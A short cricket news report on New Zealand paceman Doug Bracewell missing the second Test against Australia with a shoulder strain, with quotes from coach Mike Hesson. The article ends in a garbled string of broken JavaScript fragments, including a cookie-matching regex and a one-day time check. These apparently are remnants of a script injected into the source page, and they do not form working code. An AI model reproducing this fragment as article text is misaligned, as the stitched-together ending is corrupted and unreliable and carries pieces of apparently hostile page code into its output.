New Zealand paceman Doug Bracewell has been ruled out of the second Test against Australia due to a shoulder injury.
Bracewell experienced pain in his shoulder after the first Test, with scans later revealing a strain to his rotator cuff muscle in his right shoulder.
Either Neil Wagner or Matt Henry will replace Bracewell for the second Test.
The news comes after star batsman Ross Taylor and all-rounder Mitchell Santner were also ruled out of the match earlier this week after being unable to recover from their injuries in time for the Test.
"Doug has been a consistent performer for us this summer and put a lot of work into his game, so to miss out on the final Test against Australia is very disappointing for him and us," coach Mike Hesson said.
"He'll be given time to recover and we'll work with him to get him back training as quickly as possible." "(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
